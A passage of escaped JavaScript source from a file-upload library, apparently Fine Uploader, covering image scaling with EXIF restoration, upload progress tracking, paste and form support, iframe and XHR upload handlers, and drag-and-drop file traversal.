=== \"image/jpeg\",\n            scalingEffort = new qq.Promise(),\n            imageGenerator = new qq.ImageGenerator(log),\n            canvas = document.createElement(\"canvas\");\n\n        log(\"Attempting to generate scaled version for \" + sourceFile.name);\n\n        imageGenerator.generate(sourceFile, canvas, {maxSize: maxSize, orient: orient, customResizeFunction: customResizeFunction}).then(function() {\n            var scaledImageDataUri = canvas.toDataURL(type, quality),\n                signalSuccess = function() {\n                    log(\"Success generating scaled version for \" + sourceFile.name);\n                    var blob = qq.dataUriToBlob(scaledImageDataUri);\n                    scalingEffort.success(blob);\n                };\n\n            if (includeExif) {\n                self._insertExifHeader(sourceFile, scaledImageDataUri, log).then(function(scaledImageDataUriWithExif) {\n                    scaledImageDataUri = scaledImageDataUriWithExif;\n                    signalSuccess();\n                },\n                function() {\n                    log(\"Problem inserting EXIF header into scaled image.  Using scaled image w/out EXIF data.\", \"error\");\n                    signalSuccess();\n                });\n            }\n            else {\n                signalSuccess();\n            }\n        }, function() {\n            log(\"Failed attempt to generate scaled version for \" + sourceFile.name, \"error\");\n            scalingEffort.failure(failedText);\n        });\n\n        return scalingEffort;\n    },\n\n    // Attempt to insert the original image's EXIF header into a scaled version.\n    _insertExifHeader: function(originalImage, scaledImageDataUri, log) {\n        \"use strict\";\n\n        var reader = new FileReader(),\n            insertionEffort = new qq.Promise(),\n            originalImageDataUri = \"\";\n\n        reader.onload = function() {\n            originalImageDataUri = reader.result;\n            insertionEffort.success(qq.ExifRestorer.restore(originalImageDataUri, scaledImageDataUri));\n        };\n\n        reader.onerror = function() {\n            log(\"Problem reading \" + originalImage.name + \" during attempt to transfer EXIF data to scaled version.\", \"error\");\n            insertionEffort.failure();\n        };\n\n        reader.readAsDataURL(originalImage);\n\n        return insertionEffort;\n    },\n\n    _dataUriToBlob: function(dataUri) {\n        \"use strict\";\n\n        var byteString, mimeString, arrayBuffer, intArray;\n\n        // convert base64 to raw binary data held in a string\n        if (dataUri.split(\",\")[0].indexOf(\"base64\") >= 0) {\n            byteString = atob(dataUri.split(\",\")[1]);\n        }\n        else {\n            byteString = decodeURI(dataUri.split(\",\")[1]);\n        }\n\n        // extract the MIME\n        mimeString = dataUri.split(\",\")[0]\n            .split(\":\")[1]\n            .split(\";\")[0];\n\n        // write the bytes of the binary string to an ArrayBuffer\n        arrayBuffer = new ArrayBuffer(byteString.length);\n        intArray = new Uint8Array(arrayBuffer);\n        qq.each(byteString, function(idx, character) {\n            intArray[idx] = character.charCodeAt(0);\n        });\n\n        return this._createBlob(arrayBuffer, mimeString);\n    },\n\n    _createBlob: function(data, mime) {\n        \"use strict\";\n\n        var BlobBuilder = window.BlobBuilder ||\n                window.WebKitBlobBuilder ||\n                window.MozBlobBuilder ||\n                window.MSBlobBuilder,\n            blobBuilder = BlobBuilder && new BlobBuilder();\n\n        if (blobBuilder) {\n            blobBuilder.append(data);\n            return blobBuilder.getBlob(mime);\n        }\n        else {\n            return new Blob([data], {type: mime});\n        }\n    }\n});\n","//Based on MinifyJpeg\n//http://elicon.blog57.fc2.com/blog-entry-206.html\n\nqq.ExifRestorer = (function()\n{\n   \n\tvar ExifRestorer = {};\n\t \n    ExifRestorer.KEY_STR = \"ABCDEFGHIJKLMNOP\" +\n                         \"QRSTUVWXYZabcdef\" +\n                         \"ghijklmnopqrstuv\" +\n                         \"wxyz0123456789+/\" +\n                         \"=\";\n\n    ExifRestorer.encode64 = function(input)\n    {\n        var output = \"\",\n            chr1, chr2, chr3 = \"\",\n            enc1, enc2, enc3, enc4 = \"\",\n            i = 0;\n\n        do {\n            chr1 = input[i++];\n            chr2 = input[i++];\n            chr3 = input[i++];\n\n            enc1 = chr1 >> 2;\n            enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);\n            enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);\n            enc4 = chr3 & 63;\n\n            if (isNaN(chr2)) {\n               enc3 = enc4 = 64;\n            } else if (isNaN(chr3)) {\n               enc4 = 64;\n            }\n\n            output = output +\n               this.KEY_STR.charAt(enc1) +\n               this.KEY_STR.charAt(enc2) +\n               this.KEY_STR.charAt(enc3) +\n               this.KEY_STR.charAt(enc4);\n            chr1 = chr2 = chr3 = \"\";\n            enc1 = enc2 = enc3 = enc4 = \"\";\n        } while (i < input.length);\n\n        return output;\n    };\n    \n    ExifRestorer.restore = function(origFileBase64, resizedFileBase64)\n    {\n        var expectedBase64Header = \"data:image/jpeg;base64,\";\n\n        if (!origFileBase64.match(expectedBase64Header))\n        {\n        \treturn resizedFileBase64;\n        }       \n        \n        var rawImage = this.decode64(origFileBase64.replace(expectedBase64Header, \"\"));\n        var segments = this.slice2Segments(rawImage);\n                \n        var image = this.exifManipulation(resizedFileBase64, segments);\n        \n        return expectedBase64Header + this.encode64(image);\n        \n    };\n\n\n    ExifRestorer.exifManipulation = function(resizedFileBase64, segments)\n    {\n            var exifArray = this.getExifArray(segments),\n                newImageArray = this.insertExif(resizedFileBase64, exifArray),\n                aBuffer = new Uint8Array(newImageArray);\n\n            return aBuffer;\n    };\n\n\n    ExifRestorer.getExifArray = function(segments)\n    {\n            var seg;\n            for (var x = 0; x < segments.length; x++)\n            {\n                seg = segments[x];\n                if (seg[0] == 255 & seg[1] == 225) //(ff e1)\n                {\n                    return seg;\n                }\n            }\n            return [];\n    };\n\n\n    ExifRestorer.insertExif = function(resizedFileBase64, exifArray)\n    {\n            var imageData = resizedFileBase64.replace(\"data:image/jpeg;base64,\", \"\"),\n                buf = this.decode64(imageData),\n                separatePoint = buf.indexOf(255,3),\n                mae = buf.slice(0, separatePoint),\n                ato = buf.slice(separatePoint),\n                array = mae;\n\n            array = array.concat(exifArray);\n            array = array.concat(ato);\n           return array;\n    };\n\n\n    \n    ExifRestorer.slice2Segments = function(rawImageArray)\n    {\n        var head = 0,\n            segments = [];\n\n        while (1)\n        {\n            if (rawImageArray[head] == 255 & rawImageArray[head + 1] == 218){break;}\n            if (rawImageArray[head] == 255 & rawImageArray[head + 1] == 216)\n            {\n                head += 2;\n            }\n            else\n            {\n                var length = rawImageArray[head + 2] * 256 + rawImageArray[head + 3],\n                    endPoint = head + length + 2,\n                    seg = rawImageArray.slice(head, endPoint);\n                segments.push(seg);\n                head = endPoint;\n            }\n            if (head > rawImageArray.length){break;}\n        }\n\n        return segments;\n    };\n\n\n    \n    ExifRestorer.decode64 = function(input) \n    {\n        var output = \"\",\n            chr1, chr2, chr3 = \"\",\n            enc1, enc2, enc3, enc4 = \"\",\n            i = 0,\n            buf = [];\n\n        // remove all characters that are not A-Z, a-z, 0-9, +, /, or =\n        var base64test = /[^A-Za-z0-9\\+\\/\\=]/g;\n        if (base64test.exec(input)) {\n            throw new Error(\"There were invalid base64 characters in the input text.  \" +\n                \"Valid base64 characters are A-Z, a-z, 0-9, '+', '/',and '='\");\n        }\n        input = input.replace(/[^A-Za-z0-9\\+\\/\\=]/g, \"\");\n\n        do {\n            enc1 = this.KEY_STR.indexOf(input.charAt(i++));\n            enc2 = this.KEY_STR.indexOf(input.charAt(i++));\n            enc3 = this.KEY_STR.indexOf(input.charAt(i++));\n            enc4 = this.KEY_STR.indexOf(input.charAt(i++));\n\n            chr1 = (enc1 << 2) | (enc2 >> 4);\n            chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);\n            chr3 = ((enc3 & 3) << 6) | enc4;\n\n            buf.push(chr1);\n\n            if (enc3 != 64) {\n               buf.push(chr2);\n            }\n            if (enc4 != 64) {\n               buf.push(chr3);\n            }\n\n            chr1 = chr2 = chr3 = \"\";\n            enc1 = enc2 = enc3 = enc4 = \"\";\n\n        } while (i < input.length);\n\n        return buf;\n    };\n\n    \n    return ExifRestorer;\n})();\n","/* globals qq */\n/**\n * Keeps a running tally of total upload progress for a batch of files.\n *\n * @param callback Invoked when total progress changes, passing calculated total loaded & total size values.\n * @param getSize Function that returns the size of a file given its ID\n * @constructor\n */\nqq.TotalProgress = function(callback, getSize) {\n    \"use strict\";\n\n    var perFileProgress = {},\n        totalLoaded = 0,\n        totalSize = 0,\n\n        lastLoadedSent = -1,\n        lastTotalSent = -1,\n        callbackProxy = function(loaded, total) {\n            if (loaded !== lastLoadedSent || total !== lastTotalSent) {\n                callback(loaded, total);\n            }\n\n            lastLoadedSent = loaded;\n            lastTotalSent = total;\n        },\n\n        /**\n         * @param failed Array of file IDs that have failed\n         * @param retryable Array of file IDs that are retryable\n         * @returns true if none of the failed files are eligible for retry\n         */\n        noRetryableFiles = function(failed, retryable) {\n            var none = true;\n\n            qq.each(failed, function(idx, failedId) {\n                if (qq.indexOf(retryable, failedId) >= 0) {\n                    none = false;\n                    return false;\n                }\n            });\n\n            return none;\n        },\n\n        onCancel = function(id) {\n            updateTotalProgress(id, -1, -1);\n            delete perFileProgress[id];\n        },\n\n        onAllComplete = function(successful, failed, retryable) {\n            if (failed.length === 0 || noRetryableFiles(failed, retryable)) {\n                callbackProxy(totalSize, totalSize);\n                this.reset();\n            }\n        },\n\n        onNew = function(id) {\n            var size = getSize(id);\n\n            // We might not know the size yet, such as for blob proxies\n            if (size > 0) {\n                updateTotalProgress(id, 0, size);\n                perFileProgress[id] = {loaded: 0, total: size};\n            }\n        },\n\n        /**\n         * Invokes the callback with the current total progress of all files in the batch.  Called whenever it may\n         * be appropriate to re-calculate and disseminate this data.\n         *\n         * @param id ID of a file that has changed in some important way\n         * @param newLoaded New loaded value for this file.  -1 if this value should no longer be part of calculations\n         * @param newTotal New total size of the file.  -1 if this value should no longer be part of calculations\n         */\n        updateTotalProgress = function(id, newLoaded, newTotal) {\n            var oldLoaded = perFileProgress[id] ? perFileProgress[id].loaded : 0,\n                oldTotal = perFileProgress[id] ? perFileProgress[id].total : 0;\n\n            if (newLoaded === -1 && newTotal === -1) {\n                totalLoaded -= oldLoaded;\n                totalSize -= oldTotal;\n            }\n            else {\n                if (newLoaded) {\n                    totalLoaded += newLoaded - oldLoaded;\n                }\n                if (newTotal) {\n                    totalSize += newTotal - oldTotal;\n                }\n            }\n\n            callbackProxy(totalLoaded, totalSize);\n        };\n\n    qq.extend(this, {\n        // Called when a batch of files has completed uploading.\n        onAllComplete: onAllComplete,\n\n        // Called when the status of a file has changed.\n        onStatusChange: function(id, oldStatus, newStatus) {\n            if (newStatus === qq.status.CANCELED || newStatus === qq.status.REJECTED) {\n                onCancel(id);\n            }\n            else if (newStatus === qq.status.SUBMITTING) {\n                onNew(id);\n            }\n        },\n\n        // Called whenever the upload progress of an individual file has changed.\n        onIndividualProgress: function(id, loaded, total) {\n            updateTotalProgress(id, loaded, total);\n            perFileProgress[id] = {loaded: loaded, total: total};\n        },\n\n        // Called whenever the total size of a file has changed, such as when the size of a generated blob is known.\n        onNewSize: function(id) {\n            onNew(id);\n        },\n\n        reset: function() {\n            perFileProgress = {};\n            totalLoaded = 0;\n            totalSize = 0;\n        }\n    });\n};\n","/*globals qq*/\nqq.PasteSupport = function(o) {\n    \"use strict\";\n\n    var options, detachPasteHandler;\n\n    options = {\n        targetElement: null,\n        callbacks: {\n            log: function(message, level) {},\n            pasteReceived: function(blob) {}\n        }\n    };\n\n    function isImage(item) {\n        return item.type &&\n            item.type.indexOf(\"image/\") === 0;\n    }\n\n    function registerPasteHandler() {\n        detachPasteHandler = qq(options.targetElement).attach(\"paste\", function(event) {\n            var clipboardData = event.clipboardData;\n\n            if (clipboardData) {\n                qq.each(clipboardData.items, function(idx, item) {\n                    if (isImage(item)) {\n                        var blob = item.getAsFile();\n                        options.callbacks.pasteReceived(blob);\n                    }\n                });\n            }\n        });\n    }\n\n    function unregisterPasteHandler() {\n        if (detachPasteHandler) {\n            detachPasteHandler();\n        }\n    }\n\n    qq.extend(options, o);\n    registerPasteHandler();\n\n    qq.extend(this, {\n        reset: function() {\n            unregisterPasteHandler();\n        }\n    });\n};\n","/* globals qq */\n/**\n * Module that handles support for existing forms.\n *\n * @param options Options passed from the integrator-supplied options related to form support.\n * @param startUpload Callback to invoke when files \"stored\" should be uploaded.\n * @param log Proxy for the logger\n * @constructor\n */\nqq.FormSupport = function(options, startUpload, log) {\n    \"use strict\";\n    var self  = this,\n        interceptSubmit = options.interceptSubmit,\n        formEl = options.element,\n        autoUpload = options.autoUpload;\n\n    // Available on the public API associated with this module.\n    qq.extend(this, {\n        // To be used by the caller to determine if the endpoint will be determined by some processing\n        // that occurs in this module, such as if the form has an action attribute.\n        // Ignore if `attachToForm === false`.\n        newEndpoint: null,\n\n        // To be used by the caller to determine if auto uploading should be allowed.\n        // Ignore if `attachToForm === false`.\n        newAutoUpload: autoUpload,\n\n        // true if a form was detected and is being tracked by this module\n        attachedToForm: false,\n\n        // Returns an object with names and values for all valid form elements associated with the attached form.\n        getFormInputsAsObject: function() {\n            /* jshint eqnull:true */\n            if (formEl == null) {\n                return null;\n            }\n\n            return self._form2Obj(formEl);\n        }\n    });\n\n    // If the form contains an action attribute, this should be the new upload endpoint.\n    function determineNewEndpoint(formEl) {\n        if (formEl.getAttribute(\"action\")) {\n            self.newEndpoint = formEl.getAttribute(\"action\");\n        }\n    }\n\n    // Return true only if the form is valid, or if we cannot make this determination.\n    // If the form is invalid, ensure invalid field(s) are highlighted in the UI.\n    function validateForm(formEl, nativeSubmit) {\n        if (formEl.checkValidity && !formEl.checkValidity()) {\n            log(\"Form did not pass validation checks - will not upload.\", \"error\");\n            nativeSubmit();\n        }\n        else {\n            return true;\n        }\n    }\n\n    // Intercept form submit attempts, unless the integrator has told us not to do this.\n    function maybeUploadOnSubmit(formEl) {\n        var nativeSubmit = formEl.submit;\n\n        // Intercept and squelch submit events.\n        qq(formEl).attach(\"submit\", function(event) {\n            event = event || window.event;\n\n            if (event.preventDefault) {\n                event.preventDefault();\n            }\n            else {\n                event.returnValue = false;\n            }\n\n            validateForm(formEl, nativeSubmit) && startUpload();\n        });\n\n        // The form's `submit()` function may be called instead (i.e. via jQuery.submit()).\n        // Intercept that too.\n        formEl.submit = function() {\n            validateForm(formEl, nativeSubmit) && startUpload();\n        };\n    }\n\n    // If the element value passed from the uploader is a string, assume it is an element ID - select it.\n    // The rest of the code in this module depends on this being an HTMLElement.\n    function determineFormEl(formEl) {\n        if (formEl) {\n            if (qq.isString(formEl)) {\n                formEl = document.getElementById(formEl);\n            }\n\n            if (formEl) {\n                log(\"Attaching to form element.\");\n                determineNewEndpoint(formEl);\n                interceptSubmit && maybeUploadOnSubmit(formEl);\n            }\n        }\n\n        return formEl;\n    }\n\n    formEl = determineFormEl(formEl);\n    this.attachedToForm = !!formEl;\n};\n\nqq.extend(qq.FormSupport.prototype, {\n    // Converts all relevant form fields to key/value pairs.  This is meant to mimic the data a browser will\n    // construct from a given form when the form is submitted.\n    _form2Obj: function(form) {\n        \"use strict\";\n        var obj = {},\n            notIrrelevantType = function(type) {\n                var irrelevantTypes = [\n                    \"button\",\n                    \"image\",\n                    \"reset\",\n                    \"submit\"\n                ];\n\n                return qq.indexOf(irrelevantTypes, type.toLowerCase()) < 0;\n            },\n            radioOrCheckbox = function(type) {\n                return qq.indexOf([\"checkbox\", \"radio\"], type.toLowerCase()) >= 0;\n            },\n            ignoreValue = function(el) {\n                if (radioOrCheckbox(el.type) && !el.checked) {\n                    return true;\n                }\n\n                return el.disabled && el.type.toLowerCase() !== \"hidden\";\n            },\n            selectValue = function(select) {\n                var value = null;\n\n                qq.each(qq(select).children(), function(idx, child) {\n                    if (child.tagName.toLowerCase() === \"option\" && child.selected) {\n                        value = child.value;\n                        return false;\n                    }\n                });\n\n                return value;\n            };\n\n        qq.each(form.elements, function(idx, el) {\n            if ((qq.isInput(el, true) || el.tagName.toLowerCase() === \"textarea\") &&\n                notIrrelevantType(el.type) &&\n                !ignoreValue(el)) {\n\n                obj[el.name] = el.value;\n            }\n            else if (el.tagName.toLowerCase() === \"select\" && !ignoreValue(el)) {\n                var value = selectValue(el);\n\n                if (value !== null) {\n                    obj[el.name] = value;\n                }\n            }\n        });\n\n        return obj;\n    }\n});\n","/*globals qq*/\n/**\n * Upload handler used that assumes the current user agent does not have any support for the\n * File API, and, therefore, makes use of iframes and forms to submit the files directly to\n * a generic server.\n *\n * @param options Options passed from the base handler\n * @param proxy Callbacks & methods used to query for or push out data/changes\n */\nqq.traditional = qq.traditional || {};\nqq.traditional.FormUploadHandler = function(options, proxy) {\n    \"use strict\";\n\n    var handler = this,\n        getName = proxy.getName,\n        getUuid = proxy.getUuid,\n        log = proxy.log;\n\n    /**\n     * Returns json object received by iframe from server.\n     */\n    function getIframeContentJson(id, iframe) {\n        /*jshint evil: true*/\n\n        var response, doc, innerHtml;\n\n        //IE may throw an \"access is denied\" error when attempting to access contentDocument on the iframe in some cases\n        try {\n            // iframe.contentWindow.document - for IE<7\n            doc = iframe.contentDocument || iframe.contentWindow.document;\n            innerHtml = doc.body.innerHTML;\n\n            log(\"converting iframe's innerHTML to JSON\");\n            log(\"innerHTML = \" + innerHtml);\n            //plain text response may be wrapped in <pre> tag\n            if (innerHtml && innerHtml.match(/^<pre/i)) {\n                innerHtml = doc.body.firstChild.firstChild.nodeValue;\n            }\n\n            response = handler._parseJsonResponse(innerHtml);\n        }\n        catch (error) {\n            log(\"Error when attempting to parse form upload response (\" + error.message + \")\", \"error\");\n            response = {success: false};\n        }\n\n        return response;\n    }\n\n    /**\n     * Creates form, that will be submitted to iframe\n     */\n    function createForm(id, iframe) {\n        var params = options.paramsStore.get(id),\n            method = options.method.toLowerCase() === \"get\" ? \"GET\" : \"POST\",\n            endpoint = options.endpointStore.get(id),\n            name = getName(id);\n\n        params[options.uuidName] = getUuid(id);\n        params[options.filenameParam] = name;\n\n        return handler._initFormForUpload({\n            method: method,\n            endpoint: endpoint,\n            params: params,\n            paramsInBody: options.paramsInBody,\n            targetName: iframe.name\n        });\n    }\n\n    this.uploadFile = function(id) {\n        var input = handler.getInput(id),\n            iframe = handler._createIframe(id),\n            promise = new qq.Promise(),\n            form;\n\n        form = createForm(id, iframe);\n        form.appendChild(input);\n\n        handler._attachLoadEvent(iframe, function(responseFromMessage) {\n            log(\"iframe loaded\");\n\n            var response = responseFromMessage ? responseFromMessage : getIframeContentJson(id, iframe);\n\n            handler._detachLoadEvent(id);\n\n            //we can't remove an iframe if the iframe doesn't belong to the same domain\n            if (!options.cors.expected) {\n                qq(iframe).remove();\n            }\n\n            if (response.success) {\n                promise.success(response);\n            }\n            else {\n                promise.failure(response);\n            }\n        });\n\n        log(\"Sending upload request for \" + id);\n        form.submit();\n        qq(form).remove();\n\n        return promise;\n    };\n\n    qq.extend(this, new qq.FormUploadHandler({\n        options: {\n            isCors: options.cors.expected,\n            inputName: options.inputName\n        },\n\n        proxy: {\n            onCancel: options.onCancel,\n            getName: getName,\n            getUuid: getUuid,\n            log: log\n        }\n    }));\n};\n","/*globals qq*/\n/**\n * Upload handler used to upload to traditional endpoints.  It depends on File API support, and, therefore,\n * makes use of `XMLHttpRequest` level 2 to upload `File`s and `Blob`s to a generic server.\n *\n * @param spec Options passed from the base handler\n * @param proxy Callbacks & methods used to query for or push out data/changes\n */\nqq.traditional = qq.traditional || {};\nqq.traditional.XhrUploadHandler = function(spec, proxy) {\n    \"use strict\";\n\n    var handler = this,\n        getName = proxy.getName,\n        getSize = proxy.getSize,\n        getUuid = proxy.getUuid,\n        log = proxy.log,\n        multipart = spec.forceMultipart || spec.paramsInBody,\n\n        addChunkingSpecificParams = function(id, params, chunkData) {\n            var size = getSize(id),\n                name = getName(id);\n\n            params[spec.chunking.paramNames.partIndex] = chunkData.part;\n            params[spec.chunking.paramNames.partByteOffset] = chunkData.start;\n            params[spec.chunking.paramNames.chunkSize] = chunkData.size;\n            params[spec.chunking.paramNames.totalParts] = chunkData.count;\n            params[spec.totalFileSizeName] = size;\n\n            /**\n             * When a Blob is sent in a multipart request, the filename value in the content-disposition header is either \"blob\"\n             * or an empty string.  So, we will need to include the actual file name as a param in this case.\n             */\n            if (multipart) {\n                params[spec.filenameParam] = name;\n            }\n        },\n\n        allChunksDoneRequester = new qq.traditional.AllChunksDoneAjaxRequester({\n            cors: spec.cors,\n            endpoint: spec.chunking.success.endpoint,\n            log: log\n        }),\n\n        createReadyStateChangedHandler = function(id, xhr) {\n            var promise = new qq.Promise();\n\n            xhr.onreadystatechange = function() {\n                if (xhr.readyState === 4) {\n                    var result = onUploadOrChunkComplete(id, xhr);\n\n                    if (result.success) {\n                        promise.success(result.response, xhr);\n                    }\n                    else {\n                        promise.failure(result.response, xhr);\n                    }\n                }\n            };\n\n            return promise;\n        },\n\n        getChunksCompleteParams = function(id) {\n            var params = spec.paramsStore.get(id),\n                name = getName(id),\n                size = getSize(id);\n\n            params[spec.uuidName] = getUuid(id);\n            params[spec.filenameParam] = name;\n            params[spec.totalFileSizeName] = size;\n            params[spec.chunking.paramNames.totalParts] = handler._getTotalChunks(id);\n\n            return params;\n        },\n\n        isErrorUploadResponse = function(xhr, response) {\n            return qq.indexOf([200, 201, 202, 203, 204], xhr.status) < 0 ||\n                !response.success ||\n                response.reset;\n        },\n\n        onUploadOrChunkComplete = function(id, xhr) {\n            var response;\n\n            log(\"xhr - server response received for \" + id);\n            log(\"responseText = \" + xhr.responseText);\n\n            response = parseResponse(true, xhr);\n\n            return {\n                success: !isErrorUploadResponse(xhr, response),\n                response: response\n            };\n        },\n\n        // If this is an upload response, we require a JSON payload, otherwise, it is optional.\n        parseResponse = function(upload, xhr) {\n            var response = {};\n\n            try {\n                log(qq.format(\"Received response status {} with body: {}\", xhr.status, xhr.responseText));\n                response = qq.parseJson(xhr.responseText);\n            }\n            catch (error) {\n                upload && log(\"Error when attempting to parse xhr response text (\" + error.message + \")\", \"error\");\n            }\n\n            return response;\n        },\n\n        sendChunksCompleteRequest = function(id) {\n            var promise = new qq.Promise();\n\n            allChunksDoneRequester.complete(\n                    id,\n                    handler._createXhr(id),\n                    getChunksCompleteParams(id),\n                    spec.customHeaders.get(id)\n                )\n                .then(function(xhr) {\n                    promise.success(parseResponse(false, xhr), xhr);\n                }, function(xhr) {\n                    promise.failure(parseResponse(false, xhr), xhr);\n                });\n\n            return promise;\n        },\n\n        setParamsAndGetEntityToSend = function(params, xhr, fileOrBlob, id) {\n            var formData = new FormData(),\n                method = spec.method,\n                endpoint = spec.endpointStore.get(id),\n                name = getName(id),\n                size = getSize(id);\n\n            params[spec.uuidName] = getUuid(id);\n            params[spec.filenameParam] = name;\n\n            if (multipart) {\n                params[spec.totalFileSizeName] = size;\n            }\n\n            //build query string\n            if (!spec.paramsInBody) {\n                if (!multipart) {\n                    params[spec.inputName] = name;\n                }\n                endpoint = qq.obj2url(params, endpoint);\n            }\n\n            xhr.open(method, endpoint, true);\n\n            if (spec.cors.expected && spec.cors.sendCredentials) {\n                xhr.withCredentials = true;\n            }\n\n            if (multipart) {\n                if (spec.paramsInBody) {\n                    qq.obj2FormData(params, formData);\n                }\n\n                formData.append(spec.inputName, fileOrBlob);\n                return formData;\n            }\n\n            return fileOrBlob;\n        },\n\n        setUploadHeaders = function(id, xhr) {\n            var extraHeaders = spec.customHeaders.get(id),\n                fileOrBlob = handler.getFile(id);\n\n            xhr.setRequestHeader(\"Accept\", \"application/json\");\n            xhr.setRequestHeader(\"X-Requested-With\", \"XMLHttpRequest\");\n            xhr.setRequestHeader(\"Cache-Control\", \"no-cache\");\n\n            if (!multipart) {\n                xhr.setRequestHeader(\"Content-Type\", \"application/octet-stream\");\n                //NOTE: return mime type in xhr works on chrome 16.0.9 firefox 11.0a2\n                xhr.setRequestHeader(\"X-Mime-Type\", fileOrBlob.type);\n            }\n\n            qq.each(extraHeaders, function(name, val) {\n                xhr.setRequestHeader(name, val);\n            });\n        };\n\n    qq.extend(this, {\n        uploadChunk: function(id, chunkIdx, resuming) {\n            var chunkData = handler._getChunkData(id, chunkIdx),\n                xhr = handler._createXhr(id, chunkIdx),\n                size = getSize(id),\n                promise, toSend, params;\n\n            promise = createReadyStateChangedHandler(id, xhr);\n            handler._registerProgressHandler(id, chunkIdx, chunkData.size);\n            params = spec.paramsStore.get(id);\n            addChunkingSpecificParams(id, params, chunkData);\n\n            if (resuming) {\n                params[spec.resume.paramNames.resuming] = true;\n            }\n\n            toSend = setParamsAndGetEntityToSend(params, xhr, chunkData.blob, id);\n            setUploadHeaders(id, xhr);\n            xhr.send(toSend);\n\n            return promise;\n        },\n\n        uploadFile: function(id) {\n            var fileOrBlob = handler.getFile(id),\n                promise, xhr, params, toSend;\n\n            xhr = handler._createXhr(id);\n            handler._registerProgressHandler(id);\n            promise = createReadyStateChangedHandler(id, xhr);\n            params = spec.paramsStore.get(id);\n            toSend = setParamsAndGetEntityToSend(params, xhr, fileOrBlob, id);\n            setUploadHeaders(id, xhr);\n            xhr.send(toSend);\n\n            return promise;\n        }\n    });\n\n    qq.extend(this, new qq.XhrUploadHandler({\n        options: qq.extend({namespace: \"traditional\"}, spec),\n        proxy: qq.extend({getEndpoint: spec.endpointStore.get}, proxy)\n    }));\n\n    qq.override(this, function(super_) {\n        return {\n            finalizeChunks: function(id) {\n                if (spec.chunking.success.endpoint) {\n                    return sendChunksCompleteRequest(id);\n                }\n                else {\n                    return super_.finalizeChunks(id, qq.bind(parseResponse, this, true));\n                }\n            }\n        };\n    });\n};\n","/*globals qq*/\n/**\n * Ajax requester used to send a POST to a traditional endpoint once all chunks for a specific file have uploaded\n * successfully.\n *\n * @param o Options from the caller - will override the defaults.\n * @constructor\n */\nqq.traditional.AllChunksDoneAjaxRequester = function(o) {\n    \"use strict\";\n\n    var requester,\n        method = \"POST\",\n        options = {\n            cors: {\n                allowXdr: false,\n                expected: false,\n                sendCredentials: false\n            },\n            endpoint: null,\n            log: function(str, level) {}\n        },\n        promises = {},\n        endpointHandler = {\n            get: function(id) {\n                return options.endpoint;\n            }\n        };\n\n    qq.extend(options, o);\n\n    requester = qq.extend(this, new qq.AjaxRequester({\n        acceptHeader: \"application/json\",\n        validMethods: [method],\n        method: method,\n        endpointStore: endpointHandler,\n        allowXRequestedWithAndCacheControl: false,\n        cors: options.cors,\n        log: options.log,\n        onComplete: function(id, xhr, isError) {\n            var promise = promises[id];\n\n            delete promises[id];\n\n            if (isError) {\n                promise.failure(xhr);\n            }\n            else {\n                promise.success(xhr);\n            }\n        }\n    }));\n\n    qq.extend(this, {\n        complete: function(id, xhr, params, headers) {\n            var promise = new qq.Promise();\n\n            options.log(\"Submitting All Chunks Done request for \" + id);\n\n            promises[id] = promise;\n\n            requester.initTransport(id)\n                .withParams(params)\n                .withHeaders(headers)\n                .send(xhr);\n\n            return promise;\n        }\n    });\n};\n","/*globals qq, document, CustomEvent*/\nqq.DragAndDrop = function(o) {\n    \"use strict\";\n\n    var options,\n        HIDE_ZONES_EVENT_NAME = \"qq-hidezones\",\n        HIDE_BEFORE_ENTER_ATTR = \"qq-hide-dropzone\",\n        uploadDropZones = [],\n        droppedFiles = [],\n        disposeSupport = new qq.DisposeSupport();\n\n    options = {\n        dropZoneElements: [],\n        allowMultipleItems: true,\n        classes: {\n            dropActive: null\n        },\n        callbacks: new qq.DragAndDrop.callbacks()\n    };\n\n    qq.extend(options, o, true);\n\n    function uploadDroppedFiles(files, uploadDropZone) {\n        // We need to convert the `FileList` to an actual `Array` to avoid iteration issues\n        var filesAsArray = Array.prototype.slice.call(files);\n\n        options.callbacks.dropLog(\"Grabbed \" + files.length + \" dropped files.\");\n        uploadDropZone.dropDisabled(false);\n        options.callbacks.processingDroppedFilesComplete(filesAsArray, uploadDropZone.getElement());\n    }\n\n    function traverseFileTree(entry) {\n        var parseEntryPromise = new qq.Promise();\n\n        if (entry.isFile) {\n            entry.file(function(file) {\n                var name = entry.name,\n                    fullPath = entry.fullPath,\n                    indexOfNameInFullPath = fullPath.indexOf(name);\n\n                // remove file name from full path string\n                fullPath = fullPath.substr(0, indexOfNameInFullPath);\n\n                // remove leading slash in full path string\n                if (fullPath.charAt(0) === \"/\") {\n                    fullPath = fullPath.substr(1);\n                }\n\n                file.qqPath = fullPath;\n                droppedFiles.push(file);\n                parseEntryPromise.success();\n            },\n            function(fileError) {\n                options.callbacks.dropLog(\"Problem parsing '\" + entry.fullPath + \"'.  FileError code \" + fileError.code + \".\", \"error\");\n                parseEntryPromise.failure();\n            });\n        }\n        else if (entry.isDirectory) {\n            getFilesInDirectory(entry).then(\n                function allEntriesRead(entries) {\n                    var entriesLeft = entries.length;\n\n                    qq.each(entries, function(idx, entry) {\n                        traverseFileTree(entry).done(function() {\n                            entriesLeft -= 1;\n\n                            if (entriesLeft === 0) {\n                                parseEntryPromise.success();\n                            }\n                        });\n                    });\n\n                    if (!entries.length) {\n                        parseEntryPromise.success();\n                    }\n                },\n\n                function readFailure(fileError) {\n                    options.callbacks.dropLog(\"Problem parsing '\" + entry.fullPath + \"'.  FileError code \" + fileError.code + \".\", \"error\");\n                    parseEntryPromise.failure();\n                }\n            );\n        }\n\n        return parseEntryPromise;\n    }\n\n    // Promissory.  Guaranteed to read all files in the root of the passed directory.\n    function getFilesInDirectory(entry, reader, accumEntries, existingPromise) {\n        var promise = existingPromise || new qq.Promise(),\n            dirReader = reader || entry.createReader();\n\n        dirReader.readEntries(\n            function readSuccess(entries) {\n                var newEntries = accumEntries ? accumEntries.concat(entries) : entries;\n\n                if (entries.length) {\n                    setTimeout(function() { // prevent stack overflow, however unlikely\n                        getFilesInDirectory(entry, dirReader, newEntries, promise);\n                    }, 0);\n                }\n                else {\n                    promise.success(newEntries);\n                }\n            },\n\n            promise.failure\n        );\n\n        return promise;\n    }\n\n    function handleDataTransfer(dataTransfer, uploadDropZone) {\n        var pendingFolderPromises = [],\n            handleDataTransferPromise = new qq.Promise();\n\n        options.callbacks.processingDroppedFiles();\n        uploadDropZone.dropDisabled(true);\n\n        if (dataTransfer.files.length > 1 && !options.allowMultipleItems) 